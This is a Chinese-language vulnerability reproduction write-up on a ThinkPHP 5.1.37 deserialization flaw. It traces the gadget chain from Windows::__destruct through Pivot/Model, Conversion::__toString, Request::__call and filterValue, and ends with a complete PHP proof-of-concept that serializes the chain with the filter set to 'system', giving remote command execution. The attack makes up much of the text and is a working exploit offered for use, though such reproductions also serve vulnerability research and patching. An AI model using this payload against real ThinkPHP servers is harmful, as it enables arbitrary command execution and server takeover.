Thinkphp 5.1.37反序列化漏洞
准备工作
安装Thinkphp 5.1.37环境
首先去github下载Thinkphp的源码,现在Thinkphp已经分为2个部分,
https://github.com/top-think/framework/tags
https://github.com/top-think/thinkphp/tags
下载5.1.37(最新版)对应的版本号
将framework改名为为thinkphp放到think-5.1.37中
复现过程
直接去/public/index.php加反序列化的利用部分开始快乐(绝望)调试
首先从destruct跟进到removeFiles方法
实例化Pivot类
Pivot继承的是Model,所以我们要去找Model的construct方法
Model引入了Attribute、Conversion(这俩货是个抽象类不能实例化)这个类,所以等于间接在Windows这个文件下引入Conversion类,file_exists就可以触发Conversion下的toString方法
然后跟进到toArray方法
最终目的是让relation为new Request,前面的getRelation不管,他自己会返回空,跟进带getAttr
跟进getData方法
$key是append的键值,然后传给getAttr方法,然后再把这个值给getData方法,这里会检测data属性中是否有对应的键值,有的话返回这个键值对应的值,我们传一个键值是request,然后写一个[‘request’=>new Request()]的数组即可触发Request下的call方法
到了这里就可以去找经典利用点input了,但是因为args第一个值被固定,input方法中会有一次转类型,对象转字符串会原地去世,所以要找一个不受这个值影响的方法isAjax
跟进param
跟进input
$name为空字符串即可绕过前两个if
跟进filterValue
让filter为system,value为dir即可,value接受的是param中$this->param的参数,filters同理
POC
<?phpnamespace think\process\pipes{use think\model\Pivot;class Windows{private $files = [];public function __construct(){$this->files[]=new Pivot();}}}namespace think{abstract class Model{protected $append;private $data;function __construct(){$this->data = ['request'=>new Request()];$this->append = ['request' => ''];$this->append['request'] = array('aa' => 'aaa');}}}namespace think\model{use think\Model;use think\Request;class Pivot extends Model{}}namespace think{class Request{protected $hook;protected $param;protected $filter;protected $config = [// 表单请求类型伪装变量'var_method' => '_method',// 表单ajax伪装变量'var_ajax' => '',// 表单pjax伪装变量'var_pjax' => '_pjax',// PATHINFO变量名 用于兼容模式'var_pathinfo' => 's',// 兼容PATH_INFO获取'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],// 默认全局过滤方法 用逗号分隔多个'default_filter' => '',// 域名根,如thinkphp.cn'url_domain_root'=> '',// HTTPS代理标识'https_agent_name' => '',// IP代理获取标识'http_agent_ip'=> 'HTTP_X_REAL_IP',// URL伪静态后缀'url_html_suffix'=> 'html',];public function __construct(){$this->hook = ["visible"=>[$this,"isAjax"]];$this->param = ['dir'];$this->filter = array('1' => 'system','2' => '2');}}}namespace {use think\process\pipes\Windows;echo base64_encode(serialize(new Windows));}?>